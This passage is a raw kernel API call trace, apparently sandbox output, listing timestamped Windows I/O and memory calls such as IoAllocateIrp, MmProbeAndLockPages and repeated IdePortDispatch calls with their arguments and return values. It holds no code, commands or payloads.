MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0079.442] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0079.442] IdePortDispatch () returned 0x103 [0079.442] KeWaitForMutexObject () returned 0x0 [0080.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7b000 [0080.495] IdePortDispatch () returned 0x103 [0080.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7c000 [0080.496] IdePortDispatch () returned 0x103 [0082.434] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bc000 [0082.434] IdePortDispatch () returned 0x103 [0089.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb9000 [0089.151] IdePortDispatch () returned 0x103 [0089.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037c7bb0 [0089.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037c7bb0 | out: Irp=0xfffffa80037c7bb0) returned 0xfffffa80037baa70 [0089.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.192] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0089.192] IdePortDispatch () returned 0x103 [0089.192] KeWaitForMutexObject () returned 0x0 [0090.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003828ee0 [0090.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003828ee0 | out: Irp=0xfffffa8003828ee0) returned 0xfffffa800381c140 [0090.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0090.264] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0090.264] IdePortDispatch () returned 0x103 [0090.264] KeWaitForMutexObject () returned 0x0 [0091.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003828ee0 [0091.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003828ee0 | out: Irp=0xfffffa8003828ee0) returned 0xfffffa8003239bb0 [0091.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0091.301] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0091.301] IdePortDispatch () returned 0x103 [0091.301] KeWaitForMutexObject () returned 0x0 [0091.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c46000 [0091.735] IdePortDispatch () returned 0x103 [0091.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c47000 [0091.736] IdePortDispatch () returned 0x103 [0092.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003828ee0 [0092.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003828ee0 | out: Irp=0xfffffa8003828ee0) returned 0xfffffa8003239bb0 [0092.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0092.412] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0092.412] IdePortDispatch () returned 0x103 [0092.412] KeWaitForMutexObject () returned 0x0 [0092.868] IdePortDispatch () returned 0x103 [0092.868] IdePortDispatch () returned 0x103 [0092.868] IdePortDispatch () returned 0x103 [0093.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ae000 [0093.550] IdePortDispatch () returned 0x103 [0093.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.603] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0093.603] IdePortDispatch () returned 0x103 [0093.603] KeWaitForMutexObject () returned 0x0 [0095.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0095.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa8003239bb0 [0095.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.769] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0095.769] IdePortDispatch () returned 0x103 [0095.769] KeWaitForMutexObject () returned 0x0 [0096.786] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c2000 [0096.786] IdePortDispatch () returned 0x103 [0096.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003671350 [0096.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003671350 | out: Irp=0xfffffa8003671350) returned 0xfffffa80038a5e40 [0096.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.799] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0096.799] IdePortDispatch () returned 0x103 [0096.799] KeWaitForMutexObject () returned 0x0 [0097.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003671350 [0097.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003671350 | out: Irp=0xfffffa8003671350) returned 0xfffffa80038a5e40 [0097.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.891] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0097.891] IdePortDispatch () returned 0x103 [0097.897] KeWaitForMutexObject () returned 0x0 [0098.889] IdePortDispatch () returned 0x103 [0098.890] IdePortDispatch () returned 0x103 [0098.909] IdePortDispatch () returned 0x103 [0098.926] IdePortDispatch () returned 0x103 [0098.926] IdePortDispatch () returned 0x103 [0098.927] IdePortDispatch () returned 0x103 [0098.927] IdePortDispatch () returned 0x103 [0098.928] IdePortDispatch () returned 0x103 [0098.928] IdePortDispatch () returned 0x103 [0098.928] IdePortDispatch () returned 0x103 [0098.929] IdePortDispatch () returned 0x103 [0098.929] IdePortDispatch () returned 0x103 [0098.929] IdePortDispatch () returned 0x103 [0098.930] IdePortDispatch () returned 0x103 [0098.930] IdePortDispatch () returned 0x103 [0098.930] IdePortDispatch () returned 0x103 [0098.931] IdePortDispatch () returned 0x103 [0098.931] IdePortDispatch () returned 0x103 [0098.932] IdePortDispatch () returned 0x103 [0098.932] IdePortDispatch () returned 0x103 [0098.932] IdePortDispatch () returned 0x103 [0098.932] IdePortDispatch () returned 0x103 [0098.933] IdePortDispatch () returned 0x103 [0098.933] IdePortDispatch () returned 0x103 [0098.934] IdePortDispatch () returned 0x103 [0098.934] IdePortDispatch () returned 0x103 [0098.934] IdePortDispatch () returned 0x103 [0098.934] IdePortDispatch () returned 0x103 [0098.935] IdePortDispatch () returned 0x103 [0098.935] IdePortDispatch () returned 0x103 [0098.935] IdePortDispatch () returned 0x103 [0098.936] IdePortDispatch () returned 0x103 [0098.936] IdePortDispatch () returned 0x103 [0098.936] IdePortDispatch () returned 0x103 [0098.936] IdePortDispatch () returned 0x103 [0098.937] IdePortDispatch () returned 0x103 [0098.937] IdePortDispatch () returned 0x103 [0098.937] IdePortDispatch () returned 0x103 [0098.938] IdePortDispatch () returned 0x103 [0098.938] IdePortDispatch () returned 0x103 [0098.938] IdePortDispatch () returned 0x103 [0098.938] IdePortDispatch () returned 0x103 [0098.939] IdePortDispatch () returned 0x103 [0099.451] IdePortDispatch () returned 0x103 [0099.451] IdePortDispatch () returned 0x103 [0099.451] IdePortDispatch () returned 0x103 [0099.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003671350 [0099.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003671350 | out: Irp=0xfffffa8003671350) returned 0xfffffa80038a5010 [0099.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.934] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0099.934] IdePortDispatch () returned 0x103 [0099.934] KeWaitForMutexObject () returned 0x0 [0100.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003464000 [0100.842] IdePortDispatch () returned 0x103 [0100.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346a000 [0100.843] IdePortDispatch () returned 0x103 [0100.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346c000 [0100.844] IdePortDispatch () returned 0x103 [0100.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346e000 [0100.845] IdePortDispatch () returned 0x103 [0100.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0100.845] IdePortDispatch () returned 0x103 [0100.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003473000 [0100.846] IdePortDispatch () returned 0x103 [0100.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003476000 [0100.846] IdePortDispatch () returned 0x103 [0100.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003478000 [0100.847] IdePortDispatch () returned 0x103 [0100.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347a000 [0100.847] IdePortDispatch () returned 0x103 [0100.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347e000 [0100.857] IdePortDispatch () returned 0x103 [0100.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003482000 [0100.874] IdePortDispatch () returned 0x103 [0100.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003671350 [0100.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003671350 | out: Irp=0xfffffa8003671350) returned 0xfffffa80038bc390 [0100.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0100.995] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0100.995] IdePortDispatch () returned 0x103 [0100.995] KeWaitForMutexObject () returned 0x0 [0102.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0102.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0102.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0102.065] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0102.065] IdePortDispatch () returned 0x103 [0102.065] KeWaitForMutexObject () returned 0x0 [0102.970] IdePortDispatch () returned 0x103 [0102.973] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f7a740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800414d000 [0102.973] IdePortDispatch () returned 0x103 [0103.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd2000 [0103.021] IdePortDispatch () returned 0x103 [0103.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd9000 [0103.021] IdePortDispatch () returned 0x103 [0103.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b67000 [0103.172] IdePortDispatch () returned 0x103 [0103.173] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b71000 [0103.173] IdePortDispatch () returned 0x103 [0103.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003995590 [0103.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003995590 | out: Irp=0xfffffa8003995590) returned 0xfffffa80038a5010 [0103.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0103.206] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0103.206] IdePortDispatch () returned 0x103 [0103.206] KeWaitForMutexObject () returned 0x0 [0103.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0103.211] IdePortDispatch () returned 0x103 [0104.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0104.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0104.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0104.366] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0104.366] IdePortDispatch () returned 0x103 [0104.366] KeWaitForMutexObject () returned 0x0 [0105.031] IdePortDispatch () returned 0x103 [0105.031] IdePortDispatch () returned 0x103 [0105.031] IdePortDispatch () returned 0x103 [0105.032] IdePortDispatchDeviceControl () returned 0x0 [0105.512] IdePortDispatch () returned 0x103 [0105.514] IdePortDispatch () returned 0x103 [0105.515] IdePortDispatch () returned 0x103 [0105.515] IdePortDispatch () returned 0x103 [0105.518] IdePortDispatch () returned 0x103 [0105.520] IdePortDispatch () returned 0x103 [0105.520] IdePortDispatch () returned 0x103 [0105.525] IdePortDispatch () returned 0x103 [0105.525] IdePortDispatch () returned 0x103 [0105.526] IdePortDispatch () returned 0x103 [0105.526] IdePortDispatch () returned 0x103 [0105.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003ad9c80 [0105.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003ad9c80 | out: Irp=0xfffffa8003ad9c80) returned 0xfffffa80038bc390 [0105.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.620] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0105.620] IdePortDispatch () returned 0x103 [0105.620] KeWaitForMutexObject () returned 0x0 [0107.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aecbc0 [0107.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0107.037] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0107.037] IdePortDispatch () returned 0x103 [0107.038] KeWaitForMutexObject () returned 0x0 [0107.992] IdePortDispatch () returned 0x103 [0107.993] IdePortDispatch () returned 0x103 [0107.994] IdePortDispatch () returned 0x103 [0107.994] IdePortDispatch () returned 0x103 [0107.995] IdePortDispatch () returned 0x103 [0107.995] IdePortDispatch () returned 0x103 [0107.995] IdePortDispatch () returned 0x103 [0107.996] IdePortDispatch () returned 0x103 [0107.996] IdePortDispatch () returned 0x103 [0107.996] IdePortDispatch () returned 0x103 [0108.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aecbc0 [0108.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aecbc0 | out: Irp=0xfffffa8003aecbc0) returned 0xfffffa8003943550 [0108.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003943550, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003943550) [0108.224] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0108.224] IdePortDispatch () returned 0x103 [0108.225] KeWaitForMutexObject () returned 0x0 [0111.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e2000 [0111.871] IdePortDispatch () returned 0x103 [0112.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1d000 [0112.025] IdePortDispatch () returned 0x103 [0112.085] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8c000 [0112.085] IdePortDispatch () returned 0x103 [0112.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da3000 [0112.092] IdePortDispatch () returned 0x103 [0112.108] IdePortDispatch () returned 0x103 [0112.123] IdePortDispatch () returned 0x103 [0112.123] IdePortDispatch () returned 0x103 [0112.124] IdePortDispatch () returned 0x103 [0112.124] IdePortDispatch () returned 0x103 [0112.124] IdePortDispatch () returned 0x103 [0112.125] IdePortDispatch () returned 0x103 [0112.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aecbc0 [0112.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aecbc0 | out: Irp=0xfffffa8003aecbc0) returned 0xfffffa8003b87f40 [0112.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0112.446] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0112.446] IdePortDispatch () returned 0x103 [0112.446] KeWaitForMutexObject () returned 0x0 [0113.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0113.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa8003b87f40 [0113.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.451] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0113.451] IdePortDispatch () returned 0x103 [0113.451] KeWaitForMutexObject () returned 0x0 [0114.079] IdePortDispatch () returned 0x103 [0114.080] IdePortDispatch () returned 0x103 [0114.080] IdePortDispatch () returned 0x103 [0114.080] IdePortDispatch () returned 0x103 [0114.080] IdePortDispatch () returned 0x103 [0114.081] IdePortDispatch () returned 0x103 [0114.081] IdePortDispatch () returned 0x103 [0114.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0114.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa8003b863b0 [0114.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0114.528] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0114.528] IdePortDispatch () returned 0x103 [0114.528] KeWaitForMutexObject () returned 0x0 [0115.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0115.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa8003b87f40 [0115.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0115.588] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0115.588] IdePortDispatch () returned 0x103 [0115.588] KeWaitForMutexObject () returned 0x0 [0116.118] IdePortDispatch () returned 0x103 [0116.119] IdePortDispatch () returned 0x103 [0116.119] IdePortDispatch () returned 0x103 [0116.119] IdePortDispatch () returned 0x103 [0116.119] IdePortDispatch () returned 0x103 [0116.120] IdePortDispatch () returned 0x103 [0116.227] IdePortDispatch () returned 0x103 [0116.228] IdePortDispatch () returned 0x103 [0116.228] IdePortDispatch () returned 0x103 [0116.228] IdePortDispatchDeviceControl () returned 0x0 [0116.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.602] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0116.602] IdePortDispatch () returned 0x103 [0116.602] KeWaitForMutexObject () returned 0x0 [0117.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.616] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0117.616] IdePortDispatch () returned 0x103 [0117.616] KeWaitForMutexObject () returned 0x0 [0118.133] IdePortDispatch () returned 0x103 [0118.133] IdePortDispatch () returned 0x103 [0118.134] IdePortDispatch () returned 0x103 [0118.134] IdePortDispatch () returned 0x103 [0118.134] IdePortDispatch () returned 0x103 [0118.135] IdePortDispatch () returned 0x103 [0122.139] IdePortDispatch () returned 0x103 [0122.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0122.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0122.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.686] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0122.686] IdePortDispatch () returned 0x103 [0122.686] KeWaitForMutexObject () returned 0x0 [0123.700] 